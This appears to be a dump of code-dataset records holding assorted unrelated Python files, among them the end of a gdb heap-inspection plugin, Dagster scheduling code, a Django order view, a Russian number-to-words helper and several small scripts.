always at 0x8b0\n addr = addr & 0xFFFFFFFFFF000000\n addr += 0x8B0\n self.logmsg(\"Scanning 0x%x ...\" % addr)\n res = gdb.execute(\"ptchunk 0x%x -c 1000000\" % addr, to_string=False)\n\n except Exception as e:\n h.show_last_exception()\n\n class ptversion(ptcmd):\n def __init__(self, pt):\n super(ptversion, self).__init__(pt, \"ptversion\")\n\n def help(self):\n self.logmsg(\"usage: ptversion [-l] []\")\n self.pt.logmsg(\" the libc version to set\")\n self.pt.logmsg(\" -l list supported versions\")\n self.pt.logmsg(\" -h this help menu\")\n return\n\n def invoke(self, arg, from_tty):\n try:\n self.invoke_(arg, from_tty)\n except Exception:\n h.show_last_exception()\n\n @hgdb.has_inferior\n def invoke_(self, arg, from_tty):\n if arg == \"\":\n self.pt.logmsg(\n \"Current LIBC version set to: {}\".format(self.pt.get_version())\n )\n return\n\n if arg is not None:\n for item in arg.split():\n if item.find(\"-l\") != -1:\n list_only = True\n elif item.find(\"-f\") != -1:\n find_version = True\n elif item.find(\"-h\") != -1:\n self.help()\n return\n\n if list_only:\n self.pt.logmsg(\"List of supported libc versions:\")\n for version in self.pt.known_versions:\n self.pt.logmsg(version)\n\n self.pt.logmsg(\n \"Current LIBC version set to: {}\".format(self.pt.get_version())\n )\n self.pt.logmsg(\"Change with ptversion \")\n return\n\n if find_version:\n return\n\n ###########################################################################\n class pthelp(ptcmd):\n \"Details about all libptmalloc gdb commands\"\n\n def __init__(self, pt, help_extra=None):\n self.help_extra = help_extra\n super(pthelp, self).__init__(pt, \"pthelp\")\n\n def invoke(self, arg, from_tty):\n self.pt.logmsg(\"ptmalloc commands for gdb\")\n if self.help_extra is not None:\n self.pt.logmsg(self.help_extra)\n self.pt.logmsg(\n \"ptchunk : show chunk contents (-v for verbose, -x for data dump)\"\n )\n self.pt.logmsg(\"ptsearch : search heap for hex value or address\")\n self.pt.logmsg(\n \"ptarena : print mstate struct. caches address after first use\"\n )\n self.pt.logmsg(\"ptbin : print the contents of a free bin\")\n self.pt.logmsg(\n \"ptcallback : register a callback to be executed that is passed chunk data\"\n )\n self.pt.logmsg(\n \"ptarenaof : print arena for a given chunk or a list of chunks\"\n )\n self.pt.logmsg(\"ptscanchunks : print all chunks for all provided arenas\")\n self.pt.logmsg(\"pthelp : this help message\")\n self.pt.logmsg(\n \"NOTE: Pass -h to any of these commands for more extensive usage. Eg: ptchunk -h\"\n )\n\n\nif __name__ == \"__main__\":\n\n pth = pt_helper()\n pthelp(pth)\n ptcallback(pth)\n ptchunk(pth)\n ptarena(pth)\n ptsearch(pth)\n ptstats(pth)\n ptbin(pth)\n ptarenaof(pth)\n ptscanchunks(pth)\n ptversion(pth)\n\n pth.logmsg(\"loaded\")\n","sub_path":"libptmalloc2.py","file_name":"libptmalloc2.py","file_ext":"py","file_size_in_byte":102364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"183858338","text":"# -*- coding: utf-8 -*-\n\nfrom . import controllers\nfrom . import models\n\nfrom odoo import api, fields, tools\n\n\ndef add_philippines_location(cr, registry):\n tools.convert_file(cr, 'l10n_ph', 'data/res.country.state.csv',\n None, mode='init', noupdate=True, kind='init', report=None)\n tools.convert_file(cr, 'l10n_ph', 'data/res.state.city.csv',\n None, mode='init', noupdate=True, kind='init', report=None)\n tools.convert_file(cr, 'l10n_ph', 'data/res.city.barangay.csv',\n None, mode='init', noupdate=True, kind='init', report=None)\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"600592549","text":"from watchdog.observers import Observer\nfrom watcher import MyHandler\nimport sys\nimport time\n\nif __name__ == '__main__':\n args = sys.argv[1:]\n observer = Observer()\n observer.schedule(PageHandler(), path=args[0] if args else '.')\n observer.start()\n\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n\n observer.join()\n","sub_path":"crawler/manager/watcher/test_watcher.py","file_name":"test_watcher.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"175629564","text":"#!/usr/bin/python3\n\nimport os\nfrom datetime import datetime\n\nwhitelist = '''.gitattributes\n.hgtags\n.gitignore\n.hgignore\n.lock-waf_linux2_build\nCLEAN.py\nMOVE.py\nAUTHORS\nCHANGES.html\n_clean.py\nLICENSE\nMakefile\nREADME\nRELEASE_NOTES\ntest.py\ntestpy.supp\nutils.py\nutils.pyc\nVERSION\nwaf\nwaf.bat\nwscript\nwutils.py\nwutils.pyc'''.split('\\n')\n\ntimestamp = datetime.now().strftime('%y%m%d_%H%M%S')\n\nBASE_PATH = os.path.dirname(os.path.realpath(__file__))\nTARGET_PATH = os.path.join(os.path.join(BASE_PATH, 'output'), timestamp)\n\nif not os.path.isdir(TARGET_PATH): os.makedirs(TARGET_PATH)\nfiles = [f for f in os.listdir(BASE_PATH) if os.path.isfile(f)]\n\nfor _file in files:\n if _file not in whitelist:\n print('> ' + _file)\n\nprint('Will be moved to ./output/' + timestamp + '/')\ninp = input('Are you sure? (y/n)')\nif inp != 'y': exit(0)\n\nfor _file in files:\n if _file not in whitelist:\n file_path = os.path.join(BASE_PATH, _file)\n new_path = os.path.join(TARGET_PATH, _file)\n os.rename(file_path, new_path)\n","sub_path":"MOVE.py","file_name":"MOVE.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371827682","text":"import sqlite3\r\nconn = sqlite3.connect(\"emaildb.sqlite\")\r\ncur = conn.cursor()\r\ncur.execute ('DROP TABLE IF EXISTS Counts')\r\ncur.execute ('CREATE TABLE Counts (email Text, count INTEGER)')\r\n\r\nfh = open ('mbox.txt')\r\nfor line in fh:\r\n if line.startswith ('From: '):\r\n pieces = line.split()\r\n email = pieces [1]\r\n cur.execute('SELECT count FROM Counts WHERE email=?',(email,))\r\n row = cur.fetchone()\r\n if row is None:\r\n cur.execute('INSERT INTO Counts (email,count) VALUES (?,1)', (email,))\r\n else:\r\n cur.execute('''UPDATE Counts SET count = count + 1\r\n WHERE email = ?''',(email,))\r\nconn.commit()\r\n# https://www.sqlite.org/lang_select.html\r\nsqlstr ='SELECT email, count FROM Counts ORDER BY count DESC LIMIT 10'\r\n\r\nfor row in cur.execute(sqlstr):\r\n print (str(row[0]),row[1])\r\n\r\ncur.close()\r\n","sub_path":"Python For Everybody/sqlite_working.py.py","file_name":"sqlite_working.py.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"300927825","text":"# RSI_TakeABreak\n# This program will remind you every 90 minutes to take a break\n#\nimport time\nimport webbrowser\n\nnum = 1\nwhile(num <= 3):\n time.sleep(5400)\n webbrowser.open(\"https://www.youtube.com/watch?v=yPYZpwSpKmA&spfreload=10\")\n num = num + 1\n\nprint(\"Thank you for using TAKE A BREAK\")\n","sub_path":"rsi_takeabreak.py","file_name":"rsi_takeabreak.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"544414817","text":"\"\"\"\n4.\tНайти сумму n элементов следующего ряда чисел: 1 -0.5 0.25 -0.125 ...\nКоличество элементов (n) вводится с клавиатуры.\n\nПример:\nВведите количество элементов: 3\nКоличество элементов - 3, их сумма - 0.75\n\nЗДЕСЬ ДОЛЖНА БЫТЬ РЕАЛИЗАЦИЯ ЧЕРЕЗ РЕКУРСИЮ\n\"\"\"\n\n\ndef recur_sum(count, numb=1, _sum=0):\n \"\"\"\n Функция поиска суммы n элементов следующего ряда чисел: 1 -0.5 0.25 -0.125 ...\n :param count: количество ээлементов ряда\n :param numb: первый элемент ряда (цифра 1)\n :param _sum: сумма элементов ряда\n :return: Функция возвращает сумму эелементов ряда\n \"\"\"\n if count == 0:\n return print(f\"Количество элементов - {COUNT_EL}, их сумма - {_sum}\")\n _sum = numb + _sum\n numb = numb / (-2)\n recur_sum(count-1, numb, _sum)\n\n\nCOUNT_EL = int(input(\"Введите количество элементов: \"))\nrecur_sum(COUNT_EL)\n","sub_path":"Урок 2. Практическое задание/task_4/task_4_2.py","file_name":"task_4_2.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"280122845","text":"#!/usr/bin/env python3\r\nimport zipfile\r\nimport os\r\nimport argparse\r\nimport urllib.parse\r\nimport requests\r\nimport subprocess\r\n\r\n\r\ndef is_url(url):\r\n parts = urllib.parse.urlsplit(url)\r\n return parts.scheme and parts.netloc\r\n\r\n\r\ndef git_add(filename):\r\n subprocess.check_call(['git', 'add', filename])\r\n\r\n\r\ndef get_url(url):\r\n if is_url(url):\r\n return requests.get(url)\r\n else:\r\n if not os.path.isfile(url):\r\n raise FileNotFoundError('Provided file doesn\\'t exist')\r\n with open(url, 'rb') as h:\r\n filecontents = h.read()\r\n h.close()\r\n return filecontents\r\n\r\n\r\ndef package_mod(output_path, mod_path):\r\n mod_filename = os.path.basename(mod_path)\r\n with zipfile.ZipFile(output_path, 'w') as h:\r\n h.write(mod_path, arcname='mods/' + mod_filename)\r\n h.close()\r\n return output_path\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(description='Package mods easily')\r\n parser.add_argument('slug', metavar='slug', help='Slug to package')\r\n parser.add_argument('url', metavar='url', help='File or URL to package')\r\n parser.add_argument('version', metavar='version',\r\n help='Version of the mod you\\'re packaging')\r\n parser.add_argument('--no-delete', '-n', action='store_true',\r\n help='Don\\'t delete the mod file after packaging it')\r\n parser.add_argument('--no-git-add', '-g', action='store_true',\r\n help='Don\\'t git add the file after packaging it')\r\n args = parser.parse_args()\r\n\r\n mod_filename = '{}-{}.zip'.format(args.slug, args.version)\r\n if not os.path.exists(os.path.join('mods', args.slug)):\r\n os.makedirs(os.path.join('mods', args.slug))\r\n if is_url(args.url):\r\n dlfile = 'stagetemp.jar'\r\n with open(dlfile, 'wb') as h:\r\n h.write(requests.get(args.url, headers={\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; '\r\n 'rv:39.0) Gecko/20100101 Firefox/39.0'\r\n }))\r\n h.close()\r\n mod_path = package_mod(os.path.join('mods', args.slug, mod_filename),\r\n 'stagetemp.jar' if is_url(args.url) else args.url)\r\n if not args.no_delete:\r\n os.remove('stagetemp.jar' if is_url(args.url) else args.url)\r\n if not args.no_git_add:\r\n git_add(mod_path)\r\n","sub_path":"stage.py","file_name":"stage.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"356786310","text":"\n\nfrom xai.brain.wordbase.nouns._miracle import _MIRACLE\n\n#calss header\nclass _MIRACLES(_MIRACLE, ):\n\tdef __init__(self,): \n\t\t_MIRACLE.__init__(self)\n\t\tself.name = \"MIRACLES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"miracle\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_miracles.py","file_name":"_miracles.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"606968904","text":"#! /usr/bin/env python\n\nimport os\n\nroot_folder = './data/ms_10w_resize'\ndataset_name = os.path.basename(root_folder.rstrip(os.sep))\nlist_file = './data/{}_list.txt'.format(dataset_name)\n\nf = open(list_file, 'w')\nfolders = os.listdir(root_folder)\nfor i in xrange(len(folders)):\n\tfolder_path = os.path.join(root_folder, folders[i])\n\tfilenames = os.listdir(folder_path)\n\tfor filename in filenames:\n\t\tfile_path = os.path.join(folder_path, filename)\n\t\tline = '{} {}\\n'.format(file_path, i)\n\t\tf.write(line)\nf.close()\n\n","sub_path":"train/generate_list.py","file_name":"generate_list.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"480998839","text":"# -*- coding: utf-8 -*-)\nimport tensorflow as tf\n\n#定义变量空间,并且设置reuse标志为AUTO_RESUSE\nwith tf.name_scope(\"weight_scope\"):\n with tf.variable_scope(\"variable_scope\", reuse=tf.AUTO_REUSE):\n #使用随机函数生成2×3维的张量,标准差是1,随机种子是1\n w1 = tf.get_variable(initializer = tf.random_normal([2,3], stddev = 1, seed = 1), name = 'w1')\n #创建第二个变量,我们故意使用上一个变量的值\n w2 = tf.get_variable(initializer = tf.zeros([2,3]), name = 'w1')\n #创建第三个变量w3时,tensorflow发现w3不存在,便用initializer初始化器创建新的变量\n w3 = tf.get_variable(initializer = tf.ones([2,3]), name = 'w3')\n\nwith tf.name_scope(\"bias_scope\"):\n bias = tf.Variable(initial_value = tf.constant([[0.1, 0.2,0.3],[0.4,0.5,0.6]]))\n x = tf.constant([[0.3,0.5],[0.1,0.2]])\n\nwith tf.name_scope(\"y\"):\n y1 = tf.matmul(x, w1) + bias\n y2 = tf.matmul(x, w2) + bias\n\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n with tf.name_scope(\"result\"):\n tf.summary.histogram('c', y1)\n \n summary_op = tf.summary.merge_all()\n summary_writer = tf.summary.FileWriter('./log/', tf.get_default_graph())\n \n result,summary = sess.run([y1, summary_op])\n summary_writer.add_summary(summary, 0)\n\n print('y1 =', result)\n print(y2.name, sess.run(y2))\n print(bias.name, sess.run(bias))\n print(w3.name, sess.run(w3))\n","sub_path":"tf2.0/tf3/tf_variable_tb.py","file_name":"tf_variable_tb.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"473682116","text":"# MAX7219_SCROLLER_05.py\n# Use for the generation of the scenario MAX7219_SCROLLER_05.txt\n#\n# Corner Cases\n# \n\n\nimport sys\nimport random\n\n# Path of Python SCN scripts generator\nscn_generator_class = '/home/linux-jp/Documents/GitHub/Verilog/Testbench/scripts/scn_generator'\nsys.path.append(scn_generator_class)\n\n# Import Class\nimport scn_class\n\nimport macros_max_scroller_class\n\n # Create SCN Class\nscn = scn_class.scn_class()\n\n# == Collect Path ==\ncollect_path = \"/home/linux-jp/SIMULATION_VHDL/MAX7219_COLLECT/MAX7219_SCROLLER_{:02d}_collect.txt\"\n \n\n# Create SCN Macro\nscn_macros = macros_max_scroller_class.macros_max_scroller_class(scn)\n\n# Start of SCN\n\nscn.print_step(\"//-- STEP 0\\n\")\nscn.print_line(\"\\n\")\n\nscn.DATA_COLLECTOR_INIT(\"MAX7219_SCROLLER_INPUT_COLLECTOR_0\", 0, collect_path.format(5))\n\nscn.WTR(\"RST_N\")\nscn.WAIT(100, \"ns\")\nscn.print_line(\"\\n\")\n\nscn.DATA_COLLECTOR_START(\"MAX7219_SCROLLER_INPUT_COLLECTOR_0\", 0)\n\n# == VARIABLES ==\nrandom.seed(\"MAX7219_SCROLLER_05\")\nram_data = [random.randint(0, 255) for i in range(256)]\nmsg_length = 0x00\nram_addr = 0\nmax_tempo_cnt = 0x00000000\n\n\nscn.print_step(\"INIT INPUTS\")\n\nscn.SET(\"RAM_START_PTR\", ram_addr)\nscn.SET(\"MSG_LENGTH\", msg_length)\nscn.SET(\"MAX_TEMPO_CNT\", max_tempo_cnt)\nscn.SET(\"START_SCROLL\", 0x0)\nscn.SET(\"DISPLAY_SCREEN_SEL\", 1) # Enable SCREEN display from MAX7219 I/F\n\nscn.WTRS(\"CLK\")\n\nscn.print_step(\"Start Pattern when i_msg_length == 0x00\")\n\nfor i in range(0, 10):\n scn.SET(\"START_SCROLL\", 1)\n scn.WAIT(10, \"us\")\n scn.SET(\"START_SCROLL\", 0)\n scn.WTRS(\"CLK\")\n\nscn.DATA_COLLECTOR_STOP(\"MAX7219_SCROLLER_INPUT_COLLECTOR_0\", 0)\nscn.DATA_COLLECTOR_CLOSE(\"MAX7219_SCROLLER_INPUT_COLLECTOR_0\", 0)\n\nscn.END_TEST()\n","sub_path":"MAX7219/scenarios/scn_lib_max7219_scroller/MAX7219_SCROLLER_05.py","file_name":"MAX7219_SCROLLER_05.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"316089471","text":"from re import L\nimport sys\nfrom sys import stdin\ninput = stdin.readline\n\n# sys.setrecursionlimit(10000000)\n\nmatrix = []\nvisit = []\n\n\ndef dfs(x, y):\n global matrix, visit\n \n if matrix[x][y] == \"1\" or visit[x][y]:\n return\n visit[x][y] = 1\n\n dx, dy = [1, -1, 0, 0], [0, 0, -1, 1]\n\n for i in range(4):\n new_x, new_y = x + dx[i], y + dy[i]\n\n if 0<= new_x < len(matrix) and 0<= new_y < len(matrix[0]) and visit[new_x][new_y] == 0 and matrix[new_x][new_y] == \"0\":\n dfs(new_x, new_y)\n\n\ndef solution():\n global matrix, visit\n N, M = map(int, input().split())\n\n for _ in range(N):\n matrix.append(list(input().rstrip()))\n visit = [[0] * M for _ in range(N)]\n\n cnt = 0\n for row in range(N):\n for col in range(M):\n if matrix[row][col] == \"0\" and visit[row][col] != 1 :\n dfs(row, col)\n cnt += 1\n\n print(cnt)\n\nif __name__ == '__main__': \n solution()","sub_path":"thisIsCodingTest/DFS_BFS/음료수_얼려_먹기/음료수_얼려_먹기.py","file_name":"음료수_얼려_먹기.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"436804321","text":"from __future__ import absolute_import\n\nimport sys\nimport time\n\nfrom dagster_graphql.implementation.utils import ExecutionMetadata, ExecutionParams\nfrom graphql.execution.base import ResolveInfo\n\nfrom dagster import check\nfrom dagster.core.definitions.schedule import ScheduleExecutionContext\nfrom dagster.core.errors import (\n DagsterLaunchFailedError,\n DagsterUserCodeExecutionError,\n ScheduleExecutionError,\n user_code_error_boundary,\n)\nfrom dagster.core.events import EngineEventData\nfrom dagster.core.host_representation import ExternalPipeline\nfrom dagster.core.scheduler import ScheduleTickStatus\nfrom dagster.core.scheduler.scheduler import ScheduleTickData\nfrom dagster.core.storage.tags import check_tags\nfrom dagster.utils.error import serializable_error_info_from_exc_info\nfrom dagster.utils.merger import merge_dicts\n\nfrom ..external import legacy_get_external_pipeline_or_raise\nfrom ..fetch_schedules import get_dagster_schedule_def\nfrom ..utils import capture_dauphin_error, legacy_pipeline_selector\nfrom .run_lifecycle import (\n RunExecutionInfo,\n create_possibly_invalid_run,\n get_run_execution_info_for_created_run_or_error,\n)\n\n\n@capture_dauphin_error\ndef launch_scheduled_execution(graphene_info, schedule_name):\n '''\n When a scheduler ticks and needs to run for a given schedule, it issues a\n START_SCHEDULED_EXECUTION mutation with just the schedule name. The mutation is\n resolved entirely by this method.\n '''\n\n check.inst_param(graphene_info, 'graphene_info', ResolveInfo)\n check.str_param(schedule_name, 'schedule_name')\n\n tick = None\n try:\n # We first load the repository and schedule definition to create\n # and store a ScheduleTick.\n # If this fails, this error should be sent to the file based scheduler logs.\n external_repository = graphene_info.context.legacy_external_repository\n external_schedule = external_repository.get_external_schedule(schedule_name)\n schedule_def = get_dagster_schedule_def(graphene_info, schedule_name)\n cron_schedule = \"Unknown\" if not schedule_def else schedule_def.cron_schedule\n tick = graphene_info.context.instance.create_schedule_tick(\n ScheduleTickData(\n schedule_origin_id=external_schedule.get_origin_id(),\n schedule_name=external_schedule.name,\n cron_schedule=cron_schedule,\n timestamp=time.time(),\n status=ScheduleTickStatus.STARTED,\n ),\n )\n with user_code_error_boundary(\n ScheduleExecutionError,\n lambda: 'Schedule {schedule_name} not found in repository.'.format(\n schedule_name=schedule_name\n ),\n ):\n check.invariant(schedule_def is not None)\n\n # Run should_execute and halt if it returns False\n schedule_context = ScheduleExecutionContext(graphene_info.context.instance)\n with user_code_error_boundary(\n ScheduleExecutionError,\n lambda: 'Error occurred during the execution should_execute for schedule '\n '{schedule_name}'.format(schedule_name=schedule_def.name),\n ):\n should_execute = schedule_def.should_execute(schedule_context)\n\n if not should_execute:\n # Update tick to skipped state and return\n tick = tick.with_status(ScheduleTickStatus.SKIPPED)\n graphene_info.context.instance.update_schedule_tick(tick)\n # Return skipped specific gql response\n return graphene_info.schema.type_named('ScheduledExecutionBlocked')(\n message='Schedule {schedule_name} did not run because the should_execute did not return'\n ' True'.format(schedule_name=schedule_name)\n )\n\n errors = []\n\n environment_dict = {}\n schedule_tags = {}\n try:\n with user_code_error_boundary(\n ScheduleExecutionError,\n lambda: 'Error occurred during the execution of environment_dict_fn for schedule '\n '{schedule_name}'.format(schedule_name=schedule_def.name),\n ):\n environment_dict = schedule_def.get_environment_dict(schedule_context)\n except DagsterUserCodeExecutionError as exc:\n error_data = serializable_error_info_from_exc_info(sys.exc_info())\n errors.append(error_data)\n\n try:\n with user_code_error_boundary(\n ScheduleExecutionError,\n lambda: 'Error occurred during the execution of tags_fn for schedule '\n '{schedule_name}'.format(schedule_name=schedule_def.name),\n ):\n schedule_tags = schedule_def.get_tags(schedule_context)\n except DagsterUserCodeExecutionError:\n error_data = serializable_error_info_from_exc_info(sys.exc_info())\n errors.append(error_data)\n\n external_pipeline = legacy_get_external_pipeline_or_raise(\n graphene_info, schedule_def.pipeline_name, schedule_def.solid_selection\n )\n pipeline_tags = external_pipeline.tags or {}\n check_tags(pipeline_tags, 'pipeline_tags')\n tags = merge_dicts(pipeline_tags, schedule_tags)\n\n mode = schedule_def.mode\n\n execution_params = ExecutionParams(\n selector=legacy_pipeline_selector(\n graphene_info.context, schedule_def.pipeline_name, schedule_def.solid_selection\n ),\n environment_dict=environment_dict,\n mode=mode,\n execution_metadata=ExecutionMetadata(tags=tags, run_id=None),\n step_keys=None,\n )\n\n run, result = _execute_schedule(graphene_info, external_pipeline, execution_params, errors)\n graphene_info.context.instance.update_schedule_tick(\n tick.with_status(ScheduleTickStatus.SUCCESS, run_id=run.run_id),\n )\n\n return result\n\n except Exception as exc: # pylint: disable=broad-except\n error_data = serializable_error_info_from_exc_info(sys.exc_info())\n\n if tick:\n graphene_info.context.instance.update_schedule_tick(\n tick.with_status(ScheduleTickStatus.FAILURE, error=error_data),\n )\n\n raise exc\n\n\ndef _execute_schedule(graphene_info, external_pipeline, execution_params, errors):\n check.inst_param(external_pipeline, 'external_pipeline', ExternalPipeline)\n\n possibly_invalid_pipeline_run = create_possibly_invalid_run(\n graphene_info, external_pipeline, execution_params\n )\n\n # Inject errors into event log at this point\n if len(errors) > 0:\n for error in errors:\n graphene_info.context.instance.report_engine_event(\n error.message, possibly_invalid_pipeline_run, EngineEventData.engine_error(error)\n )\n\n run_info_or_error = get_run_execution_info_for_created_run_or_error(\n graphene_info,\n run_id=possibly_invalid_pipeline_run.run_id,\n repository_location_name=external_pipeline.handle.location_name,\n repository_name=external_pipeline.handle.repository_name,\n )\n\n if not isinstance(run_info_or_error, RunExecutionInfo):\n return possibly_invalid_pipeline_run, run_info_or_error\n\n external_pipeline, pipeline_run = run_info_or_error\n instance = graphene_info.context.instance\n\n try:\n launched_run = instance.launch_run(pipeline_run.run_id, external_pipeline)\n return (\n launched_run,\n graphene_info.schema.type_named('LaunchPipelineRunSuccess')(\n run=graphene_info.schema.type_named('PipelineRun')(launched_run)\n ),\n )\n\n except DagsterLaunchFailedError:\n error = serializable_error_info_from_exc_info(sys.exc_info())\n instance.report_engine_event(\n error.message, pipeline_run, EngineEventData.engine_error(error),\n )\n instance.report_run_failed(pipeline_run)\n # https://github.com/dagster-io/dagster/issues/2508\n # We should return a proper GraphQL error here\n raise\n","sub_path":"python_modules/dagster-graphql/dagster_graphql/implementation/execution/scheduled_execution.py","file_name":"scheduled_execution.py","file_ext":"py","file_size_in_byte":8091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"597589902","text":"import pytest\n\nfrom invenio_oarepo_oai_pmh_harvester.models import OAISync\nfrom invenio_oarepo_oai_pmh_harvester.oai_base import OAIDBBase\n\n\ndef test_init(app, test_db, migrate_provider):\n base = OAIDBBase(migrate_provider)\n assert base.provider == migrate_provider\n\n\ndef test_run(app, test_db, migrate_provider):\n base = OAIDBBase(migrate_provider)\n base.run()\n sync = OAISync.query.get(1)\n assert sync.status == \"ok\"\n assert sync.sync_end is not None\n assert sync.sync_start is not None\n\n\ndef test_run_failed(app, test_db, migrate_provider):\n class OAIDBBaseFailed(OAIDBBase):\n def synchronize(self):\n assert False, \"Testing exception handling\"\n\n base = OAIDBBaseFailed(migrate_provider)\n with pytest.raises(AssertionError):\n base.run()\n sync = OAISync.query.get(1)\n assert sync.status == \"failed\"\n assert sync.sync_end is not None\n assert sync.sync_start is not None\n assert len(sync.logs) > 0\n","sub_path":"tests/test_oai_base.py","file_name":"test_oai_base.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"437622762","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse\nfrom .forms import OrderCreateForm\nfrom .models import OrderItem, Order\nfrom cart.cart import Cart\nfrom .tasks import order_created\nfrom django.views.generic import View\nfrom django.contrib.admin.views.decorators import staff_member_required\n\n\nclass OrderView(View):\n form_class = OrderCreateForm\n\n def get(self, request):\n cart = Cart(request)\n form = self.form_class()\n return render(request, 'orders/order/create.html', {'cart': cart, 'form': form})\n\n def post(self, request):\n cart = Cart(request)\n form = self.form_class(request.POST)\n if form.is_valid():\n order = form.save(commit=False)\n if cart.coupon:\n order.coupon = cart.coupon\n order.discount = cart.coupon.discount\n order.save()\n for item in cart:\n OrderItem.objects.create(\n order=order,\n product=item['product'],\n price=item['price'],\n quantity=item['quantity']\n )\n cart.clear()\n order_created.delay(order.id)\n request.session['order_id'] = order.id\n return redirect(reverse('payment:process'))\n\n\n@staff_member_required\ndef admin_order_detail(request, order_id):\n order = get_object_or_404(Order, id=order_id)\n return render(request, 'admin/orders/order/detail.html', {'order': order})\n","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"354649442","text":"from pymorphy2 import MorphAnalyzer\nfrom pymorphy2.analyzer import Parse\n\nONES = (None, 'один', 'два', 'три', 'четыре', 'пять', 'шесть', 'семь',\n 'восемь', 'девять', 'десять', 'одиннадцать', 'двенадцать',\n 'тринадцать', 'четырнадцать', 'пятнадцать', 'шестнадцать',\n 'семнадцать', 'восемнадцать', 'девятнадцать')\nTWENTIES = (None, None, 'двадцать', 'тридцать', 'сорок', 'пятьдесят',\n 'шестьдесят', 'семьдесят', 'восемьдесят', 'девяносто')\nHUNDREDS = (None, 'сто', 'двести', 'триста', 'четыреста', 'пятьсот',\n 'шестьсот', 'семьсот', 'восемьсот', 'девятьсот')\nTHOUSANDS = (None, 'тысяча', 'миллион', 'миллиард', 'триллион')\n\nMORPH = MorphAnalyzer()\n\n\ndef number_to_words(number: int, text: str = None):\n if number < 0:\n return ['минус'] + number_to_words(-number, text)\n\n if number == 0:\n return ['ноль']\n\n # граммемы последней цифры\n if text:\n word = text.rsplit(' ', 1)[-1]\n w: Parse = MORPH.parse(word)[0]\n tag = w.tag\n else:\n tag = None\n\n d3 = 0\n d2 = 0\n words = []\n\n k = len(str(number)) - 1\n for d in str(number):\n d = int(d)\n\n if k % 3 == 2:\n if d:\n words.append(HUNDREDS[d])\n d3 = d\n\n elif k % 3 == 1:\n if d > 1:\n words.append(TWENTIES[d])\n d2 = d\n\n else:\n # десять, одинадцать, двенадцать...\n if d2 == 1:\n d += 10\n\n if d:\n # тысячи женского рода (только для 1 и 2)\n if k == 3 and d <= 2:\n w: Parse = MORPH.parse(ONES[d])[0]\n w: Parse = w.inflect({'femn'})\n words.append(w.word)\n\n # граммемы последней цифры (только для 1 и 2)\n elif k == 0 and d <= 2 and tag:\n w: Parse = MORPH.parse(ONES[d])[0]\n w: Parse = w.inflect({tag.gender, tag.case})\n words.append(w.word)\n\n else:\n words.append(ONES[d])\n\n # тысяч, миллион, миллиард...\n if k > 2 and (d3 or d2 or d):\n w2: Parse = MORPH.parse(THOUSANDS[int(k / 3)])[0]\n w2: Parse = w2.make_agree_with_number(d)\n words.append(w2.word)\n\n k -= 1\n\n return words\n\n\ndef words_with_number(number: int, text: str):\n number = abs(number)\n words = []\n for word in text.split(' '):\n w: Parse = MORPH.parse(word)[0]\n w: Parse = w.make_agree_with_number(number)\n words.append(w.word)\n return words\n\n\ndef numword(number, text: str = None, as_text: bool = True):\n number = int(float(number))\n\n if as_text is True:\n words = number_to_words(number, text)\n elif as_text is False:\n words = [str(number)]\n else:\n words = []\n\n if text:\n words += words_with_number(number, text)\n\n return ' '.join(words)\n","sub_path":"custom_components/morph_numbers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"599014508","text":"def addition(num1,num2):\n result = num1 + num2\n return result\n\ndef subtraction(num1,num2):\n result = num1 - num2\n return result\n\ndef multiplication(num1,num2):\n result = num1 * num2\n return result\n\ndef division(num1,num2):\n if (num2 == 0):\n result = \"Cant't divide by 0\"\n else:\n result = num1 / num2\n\n return result\n\ndef modulus (num1,num2):\n\n if (num2 == 0):\n result = \"Cant't modulus by 0\"\n else:\n result = num1 % num2\n\n return result\n\n\ndef menu():\n print(\"Welcome to the 